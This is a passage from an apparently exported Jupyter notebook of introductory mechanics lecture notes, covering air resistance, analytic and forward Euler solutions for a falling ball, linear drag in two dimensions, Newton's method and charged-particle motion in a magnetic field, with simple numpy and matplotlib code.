array Aaverage\nn = np.size(t)\nAaverage = np.zeros(n)\nAaverage[0] = -g\nfor i in range(1,n-1):\n    Aaverage[i] = (Vaverage[i+1]-Vaverage[i])/DeltaT\ndata = {'t[s]': t,\n        'y[m]': y,\n        'v[m/s]': Vaverage,\n        'a[m/s^2]': Aaverage\n        }\nNewData = pd.DataFrame(data)\ndisplay(NewData[0:n-2])\n\n\n# Note that we don't print the last values! \n# \n# \n# \n# \n# ## Including Air Resistance in our model\n# \n# In our discussions till now of the falling baseball, we have ignored\n# air resistance and simply assumed that our system is only influenced\n# by the gravitational force.  We will postpone the derivation of air\n# resistance till later, after our discussion of Newton's laws and\n# forces.\n# \n# For our discussions here it suffices to state that the accelerations is now modified to\n\n# $$\n# \\boldsymbol{a}(t) = -g +D\\boldsymbol{v}(t)\\vert v(t)\\vert,\n# $$\n\n# where $\\vert v(t)\\vert$ is the absolute value of the velocity and $D$ is a constant which pertains to the specific object we are studying.\n# Since we are dealing with motion in one dimension, we can simplify the above to\n\n# $$\n# a(t) = -g +Dv^2(t).\n# $$\n\n# We can rewrite this as a differential equation\n\n# $$\n# a(t) = \\frac{dv}{dt}=\\frac{d^2y}{dt^2}= -g +Dv^2(t).\n# $$\n\n# Using the integral equations discussed above we can integrate twice\n# and obtain first the velocity as function of time and thereafter the\n# position as function of time.\n# \n# For this particular case, we can actually obtain an analytical\n# solution for the velocity and for the position. Here we will first\n# compute the solutions analytically, thereafter we will derive Euler's\n# method for solving these differential equations numerically.\n# \n# \n# \n# For simplicity let us just write $v(t)$ as $v$. We have\n\n# $$\n# \\frac{dv}{dt}= -g +Dv^2(t).\n# $$\n\n# We can solve this using the technique of separation of variables. We\n# isolate on the left all terms that involve $v$ and on the right all\n# terms that involve time. We get then\n\n# $$\n# \\frac{dv}{g -Dv^2(t) }= -dt,\n# $$\n\n# We scale now the equation to the left by introducing a constant\n# $v_T=\\sqrt{g/D}$. This constant has dimension length/time. Can you\n# show this?\n# \n# Next we integrate the left-hand side (lhs) from $v_0=0$ m/s to $v$ and\n# the right-hand side (rhs) from $t_0=0$ to $t$ and obtain\n\n# $$\n# \\int_{0}^v\\frac{dv}{g -Dv^2(t) }= \\frac{v_T}{g}\\mathrm{arctanh}(\\frac{v}{v_T})  =-\\int_0^tdt = -t.\n# $$\n\n# We can reorganize these equations as\n\n# $$\n# v_T\\mathrm{arctanh}(\\frac{v}{v_T})  =-gt,\n# $$\n\n# which gives us $v$ as function of time\n\n# $$\n# v(t)=v_T\\tanh{-(\\frac{gt}{v_T})}.\n# $$\n\n# With the velocity we can then find the height $y(t)$ by integrating yet another time, that is\n\n# $$\n# y(t)=y(t_0)+\\int_{t_0}^t dt v(t)=\\int_{0}^t dt[v_T\\tanh{-(\\frac{gt}{v_T})}].\n# $$\n\n# This integral is a little bit trickier but we can look it up in a table over \n# known integrals and we get\n\n# $$\n# y(t)=y(t_0)-\\frac{v_T^2}{g}\\log{[\\cosh{(\\frac{gt}{v_T})}]}.\n# $$\n\n# Alternatively we could have used the symbolic Python package **Sympy**  (example will be inserted later). \n# \n# In most cases however, we need to revert to numerical solutions. \n# \n# \n# \n# ## Our first attempt at solving differential equations\n# \n# Here we will try the simplest possible approach to solving the second-order differential \n# equation\n\n# $$\n# a(t) =\\frac{d^2y}{dt^2}= -g +Dv^2(t).\n# $$\n\n# We rewrite it as two coupled first-order equations (this is a standard approach)\n\n# $$\n# \\frac{dy}{dt} = v(t),\n# $$\n\n# with initial condition $y(t_0)=y_0$ and\n\n# $$\n# a(t) =\\frac{dv}{dt}= -g +Dv^2(t),\n# $$\n\n# with initial condition $v(t_0)=v_0$.\n# \n# Many of the algorithms for solving differential equations start with simple Taylor equations.\n# If we now Taylor expand $y$ and $v$ around a value $t+\\Delta t$ we have\n\n# $$\n# y(t+\\Delta t) = y(t)+\\Delta t \\frac{dy}{dt}+\\frac{\\Delta t^2}{2!} \\frac{d^2y}{dt^2}+O(\\Delta t^3),\n# $$\n\n# and\n\n# $$\n# v(t+\\Delta t) = v(t)+\\Delta t \\frac{dv}{dt}+\\frac{\\Delta t^2}{2!} \\frac{d^2v}{dt^2}+O(\\Delta t^3).\n# $$\n\n# Using the fact that $dy/dt = v$ and $dv/dt=a$ and keeping only terms up to $\\Delta t$ we have\n\n# $$\n# y(t+\\Delta t) = y(t)+\\Delta t v(t)+O(\\Delta t^2),\n# $$\n\n# and\n\n# $$\n# v(t+\\Delta t) = v(t)+\\Delta t a(t)+O(\\Delta t^2).\n# $$\n\n# ### Discretizing our equations\n# \n# Using our discretized versions of the equations with for example\n# $y_{i}=y(t_i)$ and $y_{i\\pm 1}=y(t_i+\\Delta t)$, we can rewrite the\n# above equations as (and truncating at $\\Delta t$)\n\n# $$\n# y_{i+1} = y_i+\\Delta t v_i,\n# $$\n\n# and\n\n# $$\n# v_{i+1} = v_i+\\Delta t a_i.\n# $$\n\n# These are the famous Euler equations (forward Euler).\n# \n# To solve these equations numerically we start at a time $t_0$ and simply integrate up these equations to a final time $t_f$,\n# The step size $\\Delta t$ is an input  parameter in our code.\n# You can define it directly in the code below as\n\n# In[5]:\n\n\nDeltaT = 0.1\n\n\n# With a given final time **tfinal**  we can then find the number of integration points via the **ceil** function included in the **math** package of Python\n# as\n\n# In[6]:\n\n\n#define final time, assuming that initial time is zero\nfrom math import ceil\ntfinal = 0.5\nn = ceil(tfinal/DeltaT)\nprint(n)\n\n\n# The **ceil** function returns the smallest integer not less than the input in say\n\n# In[7]:\n\n\nx = 21.15\nprint(ceil(x))\n\n\n# which in the case here is 22.\n\n# In[8]:\n\n\nx = 21.75\nprint(ceil(x))\n\n\n# which also yields 22. The  **floor** function in the **math** package\n# is used to return the closest integer value which is less than or equal to the specified expression or value.\n# Compare the previous result to the usage of **floor**\n\n# In[9]:\n\n\nfrom math import floor\nx = 21.75\nprint(floor(x))\n\n\n# Alternatively, we can define ourselves the number of integration(mesh) points. In this case we could have\n\n# In[10]:\n\n\nn = 10\ntinitial = 0.0\ntfinal = 0.5\nDeltaT = (tfinal-tinitial)/(n)\nprint(DeltaT)\n\n\n# Since we will set up one-dimensional arrays that contain the values of\n# various variables like time, position, velocity, acceleration etc, we\n# need to know the value of $n$, the number of data points (or\n# integration or mesh points).  With $n$ we can initialize a given array\n# by setting all elelements to zero, as done here\n\n# In[11]:\n\n\n# define array a\na = np.zeros(n)\nprint(a)\n\n\n# In the code here we implement this simple Eurler scheme choosing a value for $D=0.0245$ m/s.\n\n# In[12]:\n\n\n# Common imports\nimport numpy as np\nimport pandas as pd\nfrom math import *\nimport matplotlib.pyplot as plt\nimport os\n\n# Where to save the figures and data files\nPROJECT_ROOT_DIR = \"Results\"\nFIGURE_ID = \"Results/FigureFiles\"\nDATA_ID = \"DataFiles/\"\n\nif not os.path.exists(PROJECT_ROOT_DIR):\n    os.mkdir(PROJECT_ROOT_DIR)\n\nif not os.path.exists(FIGURE_ID):\n    os.makedirs(FIGURE_ID)\n\nif not os.path.exists(DATA_ID):\n    os.makedirs(DATA_ID)\n\ndef image_path(fig_id):\n    return os.path.join(FIGURE_ID, fig_id)\n\ndef data_path(dat_id):\n    return os.path.join(DATA_ID, dat_id)\n\ndef save_fig(fig_id):\n    plt.savefig(image_path(fig_id) + \".png\", format='png')\n\n\ng = 9.80655 #m/s^2\nD = 0.00245 #m/s\nDeltaT = 0.1\n#set up arrays \ntfinal = 0.5\nn = ceil(tfinal/DeltaT)\n# define scaling constant vT\nvT = sqrt(g/D)\n# set up arrays for t, a, v, and y and we can compare our results with analytical ones\nt = np.zeros(n)\na = np.zeros(n)\nv = np.zeros(n)\ny = np.zeros(n)\nyanalytic = np.zeros(n)\n# Initial conditions\nv[0] = 0.0  #m/s\ny[0] = 10.0 #m\nyanalytic[0] = y[0]\n# Start integrating using Euler's method\nfor i in range(n-1):\n    # expression for acceleration\n    a[i] = -g + D*v[i]*v[i]\n    # update velocity and position\n    y[i+1] = y[i] + DeltaT*v[i]\n    v[i+1] = v[i] + DeltaT*a[i]\n    # update time to next time step and compute analytical answer\n    t[i+1] = t[i] + DeltaT\n    yanalytic[i+1] = y[0]-(vT*vT/g)*log(cosh(g*t[i+1]/vT))\n    if ( y[i+1] < 0.0):\n        break\na[n-1] = -g + D*v[n-1]*v[n-1]\ndata = {'t[s]': t,\n        'y[m]': y-yanalytic,\n        'v[m/s]': v,\n        'a[m/s^2]': a\n        }\nNewData = pd.DataFrame(data)\ndisplay(NewData)\n#finally we plot the data\nfig, axs = plt.subplots(3, 1)\naxs[0].plot(t, y, t, yanalytic)\naxs[0].set_xlim(0, tfinal)\naxs[0].set_ylabel('y and exact')\naxs[1].plot(t, v)\naxs[1].set_ylabel('v[m/s]')\naxs[2].plot(t, a)\naxs[2].set_xlabel('time[s]')\naxs[2].set_ylabel('a[m/s^2]')\nfig.tight_layout()\nsave_fig(\"EulerIntegration\")\nplt.show()\n\n\n# Try different values for $\\Delta t$ and study the difference between the exact solution and the numerical solution.\n# \n# \n# ### Simple extension, the Euler-Cromer method\n# \n# The Euler-Cromer method is a simple variant of the standard Euler\n# method. We use the newly updated velocity $v_{i+1}$ as an input to the\n# new position, that is, instead of\n\n# $$\n# y_{i+1} = y_i+\\Delta t v_i,\n# $$\n\n# and\n\n# $$\n# v_{i+1} = v_i+\\Delta t a_i,\n# $$\n\n# we use now the newly calculate for $v_{i+1}$ as input to $y_{i+1}$, that is \n# we compute first\n\n# $$\n# v_{i+1} = v_i+\\Delta t a_i,\n# $$\n\n# and then\n\n# $$\n# y_{i+1} = y_i+\\Delta t v_{i+1},\n# $$\n\n# Implementing the Euler-Cromer method yields a simple change to the previous code. We only need to change the following line in the loop over time\n# steps\n\n# In[13]:\n\n\nfor i in range(n-1):\n    # more codes in between here\n    v[i+1] = v[i] + DeltaT*a[i]\n    y[i+1] = y[i] + DeltaT*v[i+1]\n    # more code\n\n\n# ## Air Resistance in One Dimension\n# \n# \n# Here we look at both a quadratic in velocity resistance\n# and linear in velocity.  But first we give a qualitative argument\n# about the mathematical expression for the air resistance we used last\n# Friday.\n# \n# \n# Air resistance tends to scale as the square of the velocity. This is\n# in contrast to many problems chosen for textbooks, where it is linear\n# in the velocity. The choice of a linear dependence is motivated by\n# mathematical simplicity (it keeps the differential equation linear)\n# rather than by physics. One can see that the force should be quadratic\n# in velocity by considering the momentum imparted on the air\n# molecules. If an object sweeps through a volume $dV$ of air in time\n# $dt$, the momentum imparted on the air is\n\n# <!-- Equation labels as ordinary links -->\n# <div id=\"_auto1\"></div>\n# \n# $$\n# \\begin{equation}\n# dP=\\rho_m dV v,\n# \\label{_auto1} \\tag{1}\n# \\end{equation}\n# $$\n\n# where $v$ is the velocity of the object and $\\rho_m$ is the mass\n# density of the air. If the molecules bounce back as opposed to stop\n# you would double the size of the term. The opposite value of the\n# momentum is imparted onto the object itself. Geometrically, the\n# differential volume is\n\n# <!-- Equation labels as ordinary links -->\n# <div id=\"_auto2\"></div>\n# \n# $$\n# \\begin{equation}\n# dV=Avdt,\n# \\label{_auto2} \\tag{2}\n# \\end{equation}\n# $$\n\n# where $A$ is the cross-sectional area and $vdt$ is the distance the\n# object moved in time $dt$.\n# \n# \n# Plugging this into the expression above,\n\n# <!-- Equation labels as ordinary links -->\n# <div id=\"_auto3\"></div>\n# \n# $$\n# \\begin{equation}\n# \\frac{dP}{dt}=-\\rho_m A v^2.\n# \\label{_auto3} \\tag{3}\n# \\end{equation}\n# $$\n\n# This is the force felt by the particle, and is opposite to its\n# direction of motion. Now, because air doesn't stop when it hits an\n# object, but flows around the best it can, the actual force is reduced\n# by a dimensionless factor $c_W$, called the drag coefficient.\n\n# <!-- Equation labels as ordinary links -->\n# <div id=\"_auto4\"></div>\n# \n# $$\n# \\begin{equation}\n# F_{\\rm drag}=-c_W\\rho_m Av^2,\n# \\label{_auto4} \\tag{4}\n# \\end{equation}\n# $$\n\n# and the acceleration is\n\n# $$\n# \\begin{eqnarray}\n# \\frac{dv}{dt}=-\\frac{c_W\\rho_mA}{m}v^2.\n# \\end{eqnarray}\n# $$\n\n# For a particle with initial velocity $v_0$, one can separate the $dt$\n# to one side of the equation, and move everything with $v$s to the\n# other side. We did this in our discussion of simple motion and will not repeat it here.\n# \n# On more general terms,\n# for many systems, e.g. an automobile, there are multiple sources of\n# resistance. In addition to wind resistance, where the force is\n# proportional to $v^2$, there are dissipative effects of the tires on\n# the pavement, and in the axel and drive train. These other forces can\n# have components that scale proportional to $v$, and components that\n# are independent of $v$. Those independent of $v$, e.g. the usual\n# $f=\\mu_K N$ frictional force you consider in your first Physics courses, only set in\n# once the object is actually moving. As speeds become higher, the $v^2$\n# components begin to dominate relative to the others. For automobiles\n# at freeway speeds, the $v^2$ terms are largely responsible for the\n# loss of efficiency. To travel a distance $L$ at fixed speed $v$, the\n# energy/work required to overcome the dissipative forces are $fL$,\n# which for a force of the form $f=\\alpha v^n$ becomes\n\n# $$\n# \\begin{eqnarray}\n# W=\\int dx~f=\\alpha v^n L.\n# \\end{eqnarray}\n# $$\n\n# For $n=0$ the work is\n# independent of speed, but for the wind resistance, where $n=2$,\n# slowing down is essential if one wishes to reduce fuel consumption. It\n# is also important to consider that engines are designed to be most\n# efficient at a chosen range of power output. Thus, some cars will get\n# better mileage at higher speeds (They perform better at 50 mph than at\n# 5 mph) despite the considerations mentioned above.\n# \n# \n# \n# As an example of Newton's Laws we consider projectile motion (or a\n# falling raindrop or a ball we throw up in the air) with a drag force. Even though air resistance is\n# largely proportional to the square of the velocity, we will consider\n# the drag force to be linear to the velocity, $\\boldsymbol{F}=-m\\gamma\\boldsymbol{v}$,\n# for the purposes of this exercise.\n# \n# Such a dependence can be extracted from experimental data for objects moving at low velocities, see for example Malthe-S\u00f8renssen chapter 5.6.\n# \n# We will here focus on a two-dimensional problem.\n# \n# \n# \n# The acceleration for a projectile moving upwards,\n# $\\boldsymbol{a}=\\boldsymbol{F}/m$, becomes\n\n# $$\n# \\begin{eqnarray}\n# \\frac{dv_x}{dt}=-\\gamma v_x,\\\\\n# \\nonumber\n# \\frac{dv_y}{dt}=-\\gamma v_y-g,\n# \\end{eqnarray}\n# $$\n\n# and $\\gamma$ has dimensions of inverse time. \n# \n# If you on the other hand have a falling raindrop, how do these equations change? See for example Figure 2.1 in Taylor.\n# Let us stay with a ball which is thrown up in the air at $t=0$. \n# \n# ## Ways of solving these equations\n# \n# We will go over two different ways to solve this equation. The first\n# by direct integration, and the second as a differential equation. To\n# do this by direct integration, one simply multiplies both sides of the\n# equations above by $dt$, then divide by the appropriate factors so\n# that the $v$s are all on one side of the equation and the $dt$ is on\n# the other. For the $x$ motion one finds an easily integrable equation,\n\n# $$\n# \\begin{eqnarray}\n# \\frac{dv_x}{v_x}&=&-\\gamma dt,\\\\\n# \\nonumber\n# \\int_{v_{0x}}^{v_{x}}\\frac{dv_x}{v_x}&=&-\\gamma\\int_0^{t}dt,\\\\\n# \\nonumber\n# \\ln\\left(\\frac{v_{x}}{v_{0x}}\\right)&=&-\\gamma t,\\\\\n# \\nonumber\n# v_{x}(t)&=&v_{0x}e^{-\\gamma t}.\n# \\end{eqnarray}\n# $$\n\n# This is very much the result you would have written down\n# by inspection. For the $y$-component of the velocity,\n\n# $$\n# \\begin{eqnarray}\n# \\frac{dv_y}{v_y+g/\\gamma}&=&-\\gamma dt\\\\\n# \\nonumber\n# \\ln\\left(\\frac{v_{y}+g/\\gamma}{v_{0y}-g/\\gamma}\\right)&=&-\\gamma t_f,\\\\\n# \\nonumber\n# v_{fy}&=&-\\frac{g}{\\gamma}+\\left(v_{0y}+\\frac{g}{\\gamma}\\right)e^{-\\gamma t}.\n# \\end{eqnarray}\n# $$\n\n# Whereas $v_x$ starts at some value and decays\n# exponentially to zero, $v_y$ decays exponentially to the terminal\n# velocity, $v_t=-g/\\gamma$.\n# \n# \n# \n# Although this direct integration is simpler than the method we invoke\n# below, the method below will come in useful for some slightly more\n# difficult differential equations in the future. The differential\n# equation for $v_x$ is straight-forward to solve. Because it is first\n# order there is one arbitrary constant, $A$, and by inspection the\n# solution is\n\n# <!-- Equation labels as ordinary links -->\n# <div id=\"_auto5\"></div>\n# \n# $$\n# \\begin{equation}\n# v_x=Ae^{-\\gamma t}.\n# \\label{_auto5} \\tag{5}\n# \\end{equation}\n# $$\n\n# The arbitrary constants for equations of motion are usually determined\n# by the initial conditions, or more generally boundary conditions. By\n# inspection $A=v_{0x}$, the initial $x$ component of the velocity.\n# \n# \n# ## Differential Equations, contn\n# The differential equation for $v_y$ is a bit more complicated due to\n# the presence of $g$. Differential equations where all the terms are\n# linearly proportional to a function, in this case $v_y$, or to\n# derivatives of the function, e.g., $v_y$, $dv_y/dt$,\n# $d^2v_y/dt^2\\cdots$, are called linear differential equations. If\n# there are terms proportional to $v^2$, as would happen if the drag\n# force were proportional to the square of the velocity, the\n# differential equation is not longer linear. Because this expression\n# has only one derivative in $v$ it is a first-order linear differential\n# equation. If a term were added proportional to $d^2v/dt^2$ it would be\n# a second-order differential equation.  In this case we have a term\n# completely independent of $v$, the gravitational acceleration $g$, and\n# the usual strategy is to first rewrite the equation with all the\n# linear terms on one side of the equal sign,\n\n# <!-- Equation labels as ordinary links -->\n# <div id=\"_auto6\"></div>\n# \n# $$\n# \\begin{equation}\n# \\frac{dv_y}{dt}+\\gamma v_y=-g.\n# \\label{_auto6} \\tag{6}\n# \\end{equation}\n# $$\n\n# Now, the solution to the equation can be broken into two\n# parts. Because this is a first-order differential equation we know\n# that there will be one arbitrary constant. Physically, the arbitrary\n# constant will be determined by setting the initial velocity, though it\n# could be determined by setting the velocity at any given time. Like\n# most differential equations, solutions are not \"solved\". Instead,\n# one guesses at a form, then shows the guess is correct. For these\n# types of equations, one first tries to find a single solution,\n# i.e. one with no arbitrary constants. This is called the {\\it\n# particular} solution, $y_p(t)$, though it should really be called\n# \"a\" particular solution because there are an infinite number of such\n# solutions. One then finds a solution to the {\\it homogenous} equation,\n# which is the equation with zero on the right-hand side,\n\n# <!-- Equation labels as ordinary links -->\n# <div id=\"_auto7\"></div>\n# \n# $$\n# \\begin{equation}\n# \\frac{dv_{y,h}}{dt}+\\gamma v_{y,h}=0.\n# \\label{_auto7} \\tag{7}\n# \\end{equation}\n# $$\n\n# Homogenous solutions will have arbitrary constants. \n# \n# The particular solution will solve the same equation as the original\n# general equation\n\n# <!-- Equation labels as ordinary links -->\n# <div id=\"_auto8\"></div>\n# \n# $$\n# \\begin{equation}\n# \\frac{dv_{y,p}}{dt}+\\gamma v_{y,p}=-g.\n# \\label{_auto8} \\tag{8}\n# \\end{equation}\n# $$\n\n# However, we don't need find one with arbitrary constants. Hence, it is\n# called a **particular** solution.\n# \n# The sum of the two,\n\n# <!-- Equation labels as ordinary links -->\n# <div id=\"_auto9\"></div>\n# \n# $$\n# \\begin{equation}\n# v_y=v_{y,p}+v_{y,h},\n# \\label{_auto9} \\tag{9}\n# \\end{equation}\n# $$\n\n# is a solution of the total equation because of the linear nature of\n# the differential equation. One has now found a *general* solution\n# encompassing all solutions, because it both satisfies the general\n# equation (like the particular solution), and has an arbitrary constant\n# that can be adjusted to fit any initial condition (like the homogeneous\n# solution). If the equations were not linear, that is if there were terms\n# such as $v_y^2$ or $v_y\\dot{v}_y$, this technique would not work.\n# \n# \n# \n# Returning to the example above, the homogenous solution is the same as\n# that for $v_x$, because there was no gravitational acceleration in\n# that case,\n\n# <!-- Equation labels as ordinary links -->\n# <div id=\"_auto10\"></div>\n# \n# $$\n# \\begin{equation}\n# v_{y,h}=Be^{-\\gamma t}.\n# \\label{_auto10} \\tag{10}\n# \\end{equation}\n# $$\n\n# In this case a particular solution is one with constant velocity,\n\n# <!-- Equation labels as ordinary links -->\n# <div id=\"_auto11\"></div>\n# \n# $$\n# \\begin{equation}\n# v_{y,p}=-g/\\gamma.\n# \\label{_auto11} \\tag{11}\n# \\end{equation}\n# $$\n\n# Note that this is the terminal velocity of a particle falling from a\n# great height. The general solution is thus,\n\n# <!-- Equation labels as ordinary links -->\n# <div id=\"_auto12\"></div>\n# \n# $$\n# \\begin{equation}\n# v_y=Be^{-\\gamma t}-g/\\gamma,\n# \\label{_auto12} \\tag{12}\n# \\end{equation}\n# $$\n\n# and one can find $B$ from the initial velocity,\n\n# <!-- Equation labels as ordinary links -->\n# <div id=\"_auto13\"></div>\n# \n# $$\n# \\begin{equation}\n# v_{0y}=B-g/\\gamma,~~~B=v_{0y}+g/\\gamma.\n# \\label{_auto13} \\tag{13}\n# \\end{equation}\n# $$\n\n# Plugging in the expression for $B$ gives the $y$ motion given the initial velocity,\n\n# <!-- Equation labels as ordinary links -->\n# <div id=\"_auto14\"></div>\n# \n# $$\n# \\begin{equation}\n# v_y=(v_{0y}+g/\\gamma)e^{-\\gamma t}-g/\\gamma.\n# \\label{_auto14} \\tag{14}\n# \\end{equation}\n# $$\n\n# It is easy to see that this solution has $v_y=v_{0y}$ when $t=0$ and\n# $v_y=-g/\\gamma$ when $t\\rightarrow\\infty$.\n# \n# One can also integrate the two equations to find the coordinates $x$\n# and $y$ as functions of $t$,\n\n# $$\n# \\begin{eqnarray}\n# x&=&\\int_0^t dt'~v_{0x}(t')=\\frac{v_{0x}}{\\gamma}\\left(1-e^{-\\gamma t}\\right),\\\\\n# \\nonumber\n# y&=&\\int_0^t dt'~v_{0y}(t')=-\\frac{gt}{\\gamma}+\\frac{v_{0y}+g/\\gamma}{\\gamma}\\left(1-e^{-\\gamma t}\\right).\n# \\end{eqnarray}\n# $$\n\n# If the question was to find the position at a time $t$, we would be\n# finished. However, the more common goal in a projectile equation\n# problem is to find the range, i.e. the distance $x$ at which $y$\n# returns to zero. For the case without a drag force this was much\n# simpler. The solution for the $y$ coordinate would have been\n# $y=v_{0y}t-gt^2/2$. One would solve for $t$ to make $y=0$, which would\n# be $t=2v_{0y}/g$, then plug that value for $t$ into $x=v_{0x}t$ to\n# find $x=2v_{0x}v_{0y}/g=v_0\\sin(2\\theta_0)/g$. One follows the same\n# steps here, except that the expression for $y(t)$ is more\n# complicated. Searching for the time where $y=0$, and we get\n\n# <!-- Equation labels as ordinary links -->\n# <div id=\"_auto15\"></div>\n# \n# $$\n# \\begin{equation}\n# 0=-\\frac{gt}{\\gamma}+\\frac{v_{0y}+g/\\gamma}{\\gamma}\\left(1-e^{-\\gamma t}\\right).\n# \\label{_auto15} \\tag{15}\n# \\end{equation}\n# $$\n\n# This cannot be inverted into a simple expression $t=\\cdots$. Such\n# expressions are known as \"transcendental equations\", and are not the\n# rare instance, but are the norm. In the days before computers, one\n# might plot the right-hand side of the above graphically as\n# a function of time, then find the point where it crosses zero.\n# \n# Now, the most common way to solve for an equation of the above type\n# would be to apply Newton's method numerically. This involves the\n# following algorithm for finding solutions of some equation $F(t)=0$.\n# \n# 1. First guess a value for the time, $t_{\\rm guess}$.\n# \n# 2. Calculate $F$ and its derivative, $F(t_{\\rm guess})$ and $F'(t_{\\rm guess})$. \n# \n# 3. Unless you guessed perfectly, $F\\ne 0$, and assuming that $\\Delta F\\approx F'\\Delta t$, one would choose \n# \n# 4. $\\Delta t=-F(t_{\\rm guess})/F'(t_{\\rm guess})$.\n# \n# 5. Now repeat step 1, but with $t_{\\rm guess}\\rightarrow t_{\\rm guess}+\\Delta t$.\n# \n# If the $F(t)$ were perfectly linear in $t$, one would find $t$ in one\n# step. Instead, one typically finds a value of $t$ that is closer to\n# the final answer than $t_{\\rm guess}$. One breaks the loop once one\n# finds $F$ within some acceptable tolerance of zero. A program to do\n# this will be added shortly.\n# \n# ## Motion in a Magnetic Field\n# \n# \n# Another example of a velocity-dependent force is magnetism,\n\n# $$\n# \\begin{eqnarray}\n# \\boldsymbol{F}&=&q\\boldsymbol{v}\\times\\boldsymbol{B},\\\\\n# \\nonumber\n# F_i&=&q\\sum_{jk}\\epsilon_{ijk}v_jB_k.\n# \\end{eqnarray}\n# $$\n\n# For a uniform field in the $z$ direction $\\boldsymbol{B}=B\\hat{z}$, the force can only have $x$ and $y$ components,\n\n# $$\n# \\begin{eqnarray}\n# F_x&=&qBv_y\\\\\n# \\nonumber\n# F_y&=&-qBv_x.\n# \\end{eqnarray}\n# $$\n\n# The differential equations are\n\n# $$\n# \\begin{eqnarray}\n# \\dot{v}_x&=&\\omega_c v_y,\\omega_c= qB/m\\\\\n# \\nonumber\n# \\dot{v}_y&=&-\\omega_c v_x.\n# \\end{eqnarray}\n# $$\n\n# One can solve the equations by taking time derivatives of either equation, then substituting into the other equation,\n\n# $$\n# \\begin{eqnarray}\n# \\ddot{v}_x=\\omega_c\\dot{v_y}=-\\omega_c^2v_x,\\\\\n# \\nonumber\n# \\ddot{v}_y&=&-\\omega_c\\dot{v}_x=-\\omega_cv_y.\n# \\end{eqnarray}\n# $$\n\n# The solution to these equations can be seen by inspection,\n\n# $$\n# \\begin{eqnarray}\n# v_x&=&A\\sin(\\omega_ct+\\phi),\\\\\n# \\nonumber\n# v_y&=&A\\cos(\\omega_ct+\\phi).\n# \\end{eqnarray}\n# $$\n\n# One can integrate the equations to find the positions as a function of time,\n\n# $$\n# \\begin{eqnarray}\n# x-x_0&=&\\int_{x_0}^x dx=\\int_0^t dt v(t)\\\\\n# \\nonumber\n# &=&\\frac{-A}{\\omega_c}\\cos(\\omega_ct+\\phi),\\\\\n# \\nonumber\n# y-y_0&=&\\frac{A}{\\omega_c}\\sin(\\omega_ct+\\phi).\n# \\end{eqnarray}\n# $$\n\n# The trajectory is a circle centered at $x_0,y_0$ with amplitude $A$ rotating in the clockwise direction.\n# \n# The equations of motion for the $z$ motion are\n\n# <!-- Equation labels as ordinary links -->\n# <div id=\"_auto16\"></div>\n# \n# $$\n# \\begin{equation}\n# \\dot{v_z}=0,\n# \\label{_auto16} \\tag{16}\n# \\end{equation}\n# $$\n\n# which leads to\n\n# <!-- Equation labels as ordinary links -->\n# <div id=\"_auto17\"></div>\n# \n# $$\n# \\begin{equation}\n# z-z_0=V_zt.\n# \\label{_auto17} \\tag{17}\n# \\end{equation}\n# $$\n\n# Added onto the circle, the motion is helical.\n# \n# Note that the kinetic energy,\n\n# <!-- Equation labels as ordinary links -->\n# <div id=\"_auto18\"></div>\n# \n# $$\n# \\begin{equation}\n# T=\\frac{1}{2}m(v_x^2+v_y^2+v_z^2)=\\frac{1}{2}m(\\omega_c^2A^2+V_z^2),\n# \\label{_auto18} \\tag{18}\n# \\end{equation}\n# $$\n\n# is constant. This is because the force is perpendicular to the\n# velocity, so that in any differential time element $dt$ the work done\n# on the particle $\\boldsymbol{F}\\cdot{dr}=dt\\boldsymbol{F}\\cdot{v}=0$.\n# \n# One should think about the implications of a velocity dependent\n# force. Suppose one had a constant magnetic field in deep space. If a\n# particle came through with velocity $v_0$, it would undergo cyclotron\n# motion with radius $R=v_0/\\omega_c$. However, if it were still its\n# motion would remain fixed. Now, suppose an observer looked at the\n# particle in one reference frame where the particle was moving, then\n# changed their velocity so that the particle's velocity appeared to be\n# zero. The motion would change from circular to fixed. Is this\n# possible?\n# \n# The solution to the puzzle above relies on understanding\n# relativity. Imagine that the first observer believes $\\boldsymbol{B}\\ne 0$ and\n# that the electric field $\\boldsymbol{E}=0$. If the observer then changes\n# reference frames by accelerating to a velocity $\\boldsymbol{v}$, in the new\n# frame $\\boldsymbol{B}$ and $\\boldsymbol{E}$ both change. If the observer moved to the\n# frame where the charge, originally moving with a small velocity $v$,\n# is now at rest, the new electric field is indeed $\\boldsymbol{v}\\times\\boldsymbol{B}$,\n# which then leads to the same acceleration as one had before. If the\n# velocity is not small compared to the speed of light, additional\n# $\\gamma$ factors come into play,\n# $\\gamma=1/\\sqrt{1-(v/c)^2}$. Relativistic motion will not be\n# considered in this course.\n# \n# \n# \n# ## Summarizing the various motion problems\n# \n# The examples we have discussed above were included in order to\n# illustrate various methods (which depend on the specific problem) to\n# find the solutions of the equations of motion.\n# We have solved the equations of motion in the following ways:\n# \n# **Solve the differential equations analytically.**\n# \n# We did this for example with the following object in one or two dimensions or the sliding block. \n# Here we had for example an equation set like\n\n# $$\n# \\frac{dv_x}{dt}=-\\gamma v_x,\n# $$\n\n# and\n\n# $$\n# \\frac{dv_y}{dt}=-\\gamma v_y-g,\n# $$\n\n# and $\\gamma$ has dimension of inverse time.\n# \n# \n# \n# \n# \n# We could also in case we can separate the degrees of freedom integrate. Take for example one of the equations in the previous slide\n\n# $$\n# \\frac{dv_x}{dt}=-\\gamma v_x,\n# $$\n\n# which we can rewrite in terms of a left-hand side which depends only on the velocity and a right-hand side which depends only on time\n\n# $$\n# \\frac{dv_x}{v_x}=-\\gamma dt.\n# $$\n\n# Integrating we have (since we can separate $v_x$ and $t$)\n\n# $$\n# \\int_{v_0}^{v_t}\\frac{dv_x}{v_x}=-\\int_{t_0}^{t_f}\\gamma dt,\n# $$\n\n# where $v_f$ is the velocity at a final time and $t_f$ is the final time.\n# In this case we found, after having integrated the above two sides that\n\n# $$\n# v_f(t)=v_0\\exp{-\\gamma t}.\n# $$\n\n# Finally, using for example Euler's method, we can solve the\n# differential equations numerically. If we can compare our numerical\n# solutions with analytical solutions, we have an extra check of our\n# numerical approaches.\n# \n# ## Exercises\n# \n# \n# ### Electron moving into an electric field\n# \n# An electron is sent through a varying electrical\n# field. Initially, the electron is moving in the $x$-direction with a velocity\n# $v_x = 100$ m/s. The electron enters the field when it passes the origin. The field\n# varies with time, causing an acceleration of the electron that varies in time\n\n# $$\n# \\boldsymbol{a}(t)=\\left(\u221220 \\mathrm{m/s}^2 \u221210\\mathrm{m/s}^3t\\right) \\boldsymbol{e}_y,\n# $$\n\n# or if we replace $\\boldsymbol{e}_y$ with $\\boldsymbol{e}_2$ (the unit vectors in the $y$-direction) we have\n\n# $$\n# \\boldsymbol{a}(t)=\\left(\u221220 